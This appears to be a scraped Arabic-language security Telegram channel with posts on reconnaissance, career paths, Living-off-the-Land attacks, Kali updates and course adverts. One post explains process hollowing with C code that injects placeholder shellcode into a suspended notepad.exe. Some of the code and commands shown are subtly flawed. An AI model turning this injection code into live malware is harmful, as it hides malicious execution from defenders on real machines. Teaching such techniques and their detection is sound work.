🔻 ‏OSE (Open Source Exploitation) - شنو يعني استغلال المصادر المفتوحة؟

"اللي يعرف يدور.. يكدر يخترق بدون ما يخترق!" 👀

بعالم الأمن السيبراني، أكو شي اسمه OSE (Open Source Exploitation)، وهي وحدة من أخطر وأذكى طرق جمع المعلومات والاستغلال، وتعتمد فقط على البيانات المتاحة للعامة بدون لا تثغرة ولا بايلود

كلشي تنشره على الإنترنت، بدون ما تدير بالك عليه، يعتبر كنز للمهاجم:

بروفايلك على LinkedIn ، صورك بالإنستكرام وفيسبوك ،
GitHub، Reddit، وحتى المواقع الشخصية ملفات PDF وDOC وEXIF metadata

وأحياناً... الـ DNS records أو حتى صفحات المواقع القديمة المؤرشفة بـ wayback machine!


هدف OSE مو بس جمع معلومات... لا!
المهاجم هنا ذكي يربط كل نقطة بمعلومة، يسوي تحليل هيكلي للهدف، ومن هاي البيانات

يحدد مَن الفريق التقني

يعرف أنظمة التشغيل المستخدمة

يتوقع البنية التحتية للموقع

يلكه إيميلات حقيقية للموظفين

يلكه بيانات مكررة... يمكن يلكه حتى باسورد قديم 🕵️‍♂️

‏OSE تعتبر مرحلة ما قبل الاستغلال

مو مثل الـ Exploitation العادي، هنا المهاجم يشتغل بطريقة صامتة جداً، بدون ما يسوي أي noise، ولا أي Alert يعني كأنه كاعدد يراقب من ورا الكواليس، وجاي يجمع داتا تبنيله صورة كاملة عن الهدف، حتى إذا قرر يهاجم، يضرب من أضعف نقطة

شلون تحمي نفسك من OSE؟
لا تنشر معلومات ما إلها داعي

اخفي البيانات الحساسة من ملفاتك قبل الرفع

راقب نفسك بمحركات OSINT مثل

Shodan

Google Dorks

Spiderfoot

theHarvester

وسوّ audit دوري على أثر بياناتك بالنت

اللي مايحمي نفسه من نفسه، لا يتوقع الحماية من غيره
OSE مو بس تجسس، هو فن، وهو البداية الفعلية لاختبار أي هدف

💡 وإذا فهمت هاي المرحلة، راح تعرف شلون تحمي نفسك حتى قبل لا توصلك الهجمة!
CH : @SparkSecurity

سلام عليكم بعد انقطاع دام لشهرين بسبب ضغط الشغل والدراسة، رجعتلكم، ورغم الانشغال، ما غبت عنكم وجنت دائماً حاضر لأي سؤال أو استفسار يوصلني منكم واجاوبكم عه

موضوع اليوم ليش الأمن السيبراني هو قمة الهرم التقني؟ وليش تحديد المسار أهم خطوة؟

ليش الأمن السيبراني هو قمة الهرم التقني؟ وليش تحديد المسار أهم خطوة؟

اللي يشتغل بعالم التقنية يعرف ان المجالات هوا برمجة ، شبكات ، قواعد بيانات ، انظمة تشغيل ، ذكاء اصطناعي وغيرها وغيرها من المجالات والتخصصات .. لكن لما توصل للامن السيبراني انت فعلياً هنا وصلت " قمة الهرم " لان هذا المجال يتطلب فهم كل الاقسام اللي تحته

ليش؟ لانك حتى تحمي نظام .. لازم تفهم شلون يشتغل ، صح لو لا ! , حتى تكشف ثغرة لازم تعرف الموقع او البرنامج شلون ديشتغل ؟ .. حتى تراقب هجوم لازم تعرف حركة الشبكة ، الامن السيبراني مو بس مجال هو تجميع وتحليل وتحكم ب كل المفاتيح

لكن الغلطة اللي يوكعون بيها هواي مبتدئين يبدون يتنقلون بين المواضيع ويكون متشتت وبدون هدف، يوم برمجة يوم شبكات يوم اداوات يوم كورس جديد وللاسف بدون خارطة طريق واضحة ويصيرون مثل اللي يركض بمكانه ومايعرف وين يريد يوصل


الحل !!

حدد تخصصك من البداية دفاعي ؟ هجومي ؟ تحليل جنائي ؟ ادارة مخاطر ؟

امشي على خارطة طريق لكل مجال وابني مهاراتك بشكل تدريجي وكل شي تدرسة خلي الة مُدة زمنية معينة اذا عبر المدة الزمنية مددها وكمل بي ، لاتضيع وكتك من مجال الى مجال ولاتخلي الخوف من ضياع الفرص يشتتك ، ابدي من الاساسيات واصعد بهدوء وخلي تركيزك ع العمق مو ع السطح!!


ومثل ما يكولون اذا عندك اساس قوي ف بعدين كلشي سهل حيصير عندك ، انت ابني اساس قوي والباقي سهل

CH : @SparkSecurity

من الناحية التقنية البحتة، الأمن السيبراني مو مجرد "حماية" مثل ما يتصوره البعض. هو علم متكامل يجمع بين

البرمجة (Coding)

حتى تكدر تكتب سكربت يفحص ثغرة، أو تبني أداة تحليل، لازم تكون عندك قدرة على التعامل وي لغات مثل

Python (اللغة الذهبية للأمن السيبراني)

Bash (للسكربتات على أنظمة Linux)

JavaScript (لفهم ثغرات الويب مثل XSS)

الشبكات (Networking)
لا يمكن تفهم هجمات مثل MITM، أو تتعامل مع IDS/IPS، بدون معرفة ببروتوكولات مثل

TCP/IP ، DNS ، HTTP/HTTPS

أنظمة التشغيل (OS)

سواء تشتغل على الجانب الهجومي أو الدفاعي، لازم تتعلم

Linux (خاصة توزيعات مثل Kali وParrot وUbuntu Server)

Windows (لتحليل الحوادث وسيناريوهات الـActive Directory)

تحليل الثغرات والاستغلال (Exploitation)

لازم تعرف شلون تشتغل الثغرات على مستوى
Web (SQLi, LFI, SSRF)

System (Buffer Overflow, Privilege Escalation)

Wireless و IoT و Mobile

5 الاستجابة للحوادث (Incident Response)
شلون تتعامل ويه اختراق حقيقي؟ تحليل سجلات (Logs)، جمع الأدلة، تشفير البيانات، وحتى تتبع الـIOCs.

6 التحليل الجنائي الرقمي (Digital Forensics)
فن تتبع الآثار، استرجاع البيانات، وتحليل الأدلة على مستوى

ملفات النظام

الذاكرة العشوائية (RAM)

الشبكات (Packet Analysis)


كل هذا ما تكدر تتعلمه دفعة وحدة، ولهذا السبب خارطة الطريق تعتبر "الهيكل الاساسي" لمسارك بدونها راح تبقى تايه تجرب أداة هنا، وتشوف كورس هناك، وتضيع عليك سنين بدون ما توصل لمكان

📍أهم نقطة لا تتعلم الأداة قبل ما تفهم المشكلة
يعني لا تستخدم Burp Suite وانت ما تعرف شنو HTTP Request/Response،
ولا تشتغل على Metasploit وانت ما تعرف شلون يشتغل الـPayload

CH : @SparkSecurity

مجموعة كورسات مميزة في مُختلف التخصصات التقنية

اضغط هنا

CH : @SparkSecurity

سلام عليكم نبلش ب اول سلسلة من سلسلة اساليب الاختراق .. خليكم جاهزين

المُخترق مو دائماً يستخدم ادواته ، مرات يستخدم ادواتك ضدك ، بس شلون !

LOTL - Living off the Land

هيج نوع من الاختراقات يعتمد على استغلال الادوات الشرعية الموجودة اصلا داخل نظام التشغيل الخاص بيك لتنفيذ هجوم بدون ما يخلي اثر واضح ، يعني!

مُمكن يستخدم PowerShell او WMI او CertUtil لتنزيل ملفلات او تنفيذ اوامر او حتى انشاء اتصال مابين كمبيوترك وسيرفره

ميحتاج يحمل تروجان او فايروس من برة كل شي يشتغل من داخل نظامك

مثل

المُخترق يرسل الك ملف Word انت تشوفه طبيعي بس هذا الملف الوورد انت حتشوفة طبيعي ومابي شي وتفتحة حيكون بي ماكرو هذا الماكرو يشغل البور شيل بشكل سايلنت ويحمل سكربت تقريباً مشابه للـKeylogger بس حيكون اكو باك دور ب جهازك

هاي واحدة من اساليب الاختراق طبعاً مو شرط يكون ملف وورد ممكن PDF وبيه exploit او ممكن ملف Excel او ممكن ملفات ثانية اخرى مُختلفة

CH : @SparkSecurity

الهجوم عن طريق Process Hollowing هو اسلوب اختراق متقدم يعتمد على افراغ عملية شرعية شغالة مثل Explorer.exe وحقن كود داخل هذا التاسك


شلون تتم تقنياً !

المُخترق ينشئ عملية شرعية بوضع "معلّق" (Suspended)
مثلًا svchost.exe أو notepad.exe
يستخدم دالة CreateProcess وي فلاك CREATE_SUSPENDED

راح يكدر يحصل على معلومات عن سياق التنفيذ (Context) ومسار الانستراكشن
باستخدام GetThreadContext()، يحدد عنوان نقطة البداية (Entry Point) داخل الذاكرة

مسح الكود الأصلي من ذاكرة العملية يستخدم VirtualAllocEx()
و WriteProcessMemory() لكتابة الكود داخل نفس المساحة حتى مايبين يحدث عنوان التنفيذ ليشير إلى البايلود الجديد يشغل العملية من جديد باستخدام ResumeThread()

هيج نوع من الاختراقات سهل يندمج ضمن بايلودات PowerShell أو Cobalt Strike أو Metasploit بنفس الوكت ما ينشئ ملف جديد صعب يكتشفه الـ Antivirus وبنفس الوكت يستخدم ملفات نظامية ماكو سبب منطقي تمنع تشغيلها

بعد ما عرفنا هذا الاسلوب لازم نعرف شلون نفحص اذا جان اكو هيج نوع من الاختراق مشتغل بجهازنا يا اما عن طريق EDR مثل Crowdstrike, SentinelOne, Microsoft Defender ATP

او عن طريق ادوات فورينسك مثل Process Hacker أو PE-sieve أو HollowHunter
ممكن تكشف أن العملية مفرغة (Hollowed) وأن الـ PE Header متلاعب به

واكيد اكو سجلات بداخل الوندوز اسمها Sysmon من خلال هاي الاوامر حتشوف اكو فرق بين الحدث الجديد الصار والقديم


الادوات اللي ممكن تستخدمها حتى تنفذ هيج نوع من الهجمات هو

Cobalt Strike (Beacon)

Metasploit (Meterpreter)

Empire

طبعاً اكو ناس راح تتشابك عدها المعلومات راح يشوفون انو هاي نفس طريقة الـ Injection

يعني الهولونك نفس الانجكشن بس اكيد اكو فرق من السما للكاع


الانجكشن هو حقن كود ب عملية موجودة فعلاً وتشتغل
اما الهولونك هو انشاء عملية جديدة بداخل عملية موجودة فعلاً ! لكن هنا يتم استبدال محتواها بالكامل يعني هي بيها حقن بس بطريقة مختلفة

CH : @SparkSecurity

اذا جنت من ضمن البلو تيم او حاب تكون بهالفريق ف استخدم PE-sieve حتى تفحص العمليات واعرف الفرق بين Mapped image و In-memory image

هسه نسوي مثال عملي اللي هو Process Hollowing بلغة C متطلباتة بسيطة

WIndows , mingw او Visual Studio او , IDE يعجبك
واكيد لازم صلاحية ادمنستريتر

#include <windows.h>
#include <stdio.h>

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// بايلود وهمي (نستخدم بايلود اخر )
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP NOP RET
};

//هنا ننشئ العملية
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] Failed to create process.\n");
return -1;
}

//هنا ناخذ معلومات السياق اذا يقرا او فشل ف القراءة
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] Failed to get thread context.\n");
return -1;
}

// قراءة العنوان من سجل EAX أو Rcx (اعتمادًا على النظام)
LPVOID baseAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &baseAddress, sizeof(LPVOID), NULL);

// كتابة الكود في الذاكرة
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, sizeof(shellcode), NULL);

// تشغيل العملية
ResumeThread(pi.hThread);

printf("[+] Hollowed notepad.exe with shellcode!\n");

return 0;
}

CH : @SparkSecurity

نكمل بعدين ونشوفكم بخير Good Luck ❤️

منشور جديد على الانستكرام

اضغط هنا للمشاهدة

CH : @SparkSecurity

كُل عام وانتم بخير عيد سعيد ❤️

CH : @SparkSecurity

The Art of MAC Malware Detecting Malicious Software

CH : @SparkSecurity

يا الله كورسات بعد قليل !! 🔥

Cybersecurity Solution Architecture 301 (2025 Edition)

- احصل على شهادة مشاركة
- الشرح باللغة الانكليزية 🇺🇸
- سعر الدورة (34$)
- حالة الدورة : غير متوفرة ❌
- شارك الدورة مع اصدقائك المهتمين

اضغط هنا للانظمام الى الكورس

CH : @SparkSecurity

راح تتعلم

تطبيق Zero Trust على مستوى الشركات التشفير ضد الهجمات الكوانتوم إدارة الأمان عبر عدة سحابات تصميم بنية مقاومة للذكاء الاصطناعي
بناء أنظمة ذاتية الإصلاح ضد الاختراقات

CH : @SparkSecurity

انتهى الكوبون

تحديث Kali Linux 2025.2 نسخة Kali 2025.2 متوفرة وتحمل تغييرات مهمة للمخُترقين الأخلاقيين والمختبرين الأمنيين


13 أداة جديدة للبحث والتحليل، مثل azurehound, binwalk3, donut-shellcode وغيرها
إعادة تصميم CARsenal (بدل "CAN Arsenal")، طقم كامل من الادوات لاختبار أمان السيارات، مع واجهة أبسط

دعم الحقن Wi‑Fi و‏WPA2 handshake على TicWatch Pro 3 دعم لـ Android Auto + نواة جديدة لهواتف Xiaomi و Samsung

شلون تحصل على التحديث

echo "deb http://http.kali.org/kali kali‑rolling main contrib non‑free non‑free‑firmware" | sudo tee /etc/apt/sources.list
sudo apt update && sudo apt -y full-upgrade
[ -f /var/run/reboot-required ] && sudo reboot -f

#Spark_Security #KaliLinux #CARsenal #NetHunter #PenTesting

CH : @Sparkecurity

Guide to privacy settings for most major software
and services

https://github.com/StellarSand/privacy-settings

CH : @SparkSecurity

"Securing Industrial Control Systems and Safety Instrumented Systems: A practical guide for safeguarding mission and safety critical systems", 2024.


كتاب لازم تقراه إذا انت تشتغل بـ OT، SCADA، PLC، أو تشتغل بحماية الأنظمة الحساسة المصانع والمنشآت الضخمة

شراح تتعلم من الكتاب؟

🔸 شنو الفرق بين السستم الصناعي والسستم اللي يضمن السلامة (SIS)؟

يعني مو كل شي بس فولت وPLC، أكو أنظمة مخصصة تحمي الأرواح، والمعدات الثقيلة، وانت لازم تحميها من الهجمات


هجمات حقيقية صارِت على مصانع وأنظمة حساسة يفصل لك شلون الهجمات صارت، شنو كانت الثغرة، وشلون تمنع مثّلها مستقبلاً


مستقبل الأتمتة والأمن؟

الذكاء الاصطناعي، الـ IoT، الشغل عن بعد...
كله لازم نحسبله حساب من هسه، والكتاب يغطي هالنقطة

CH : @SparkSecurity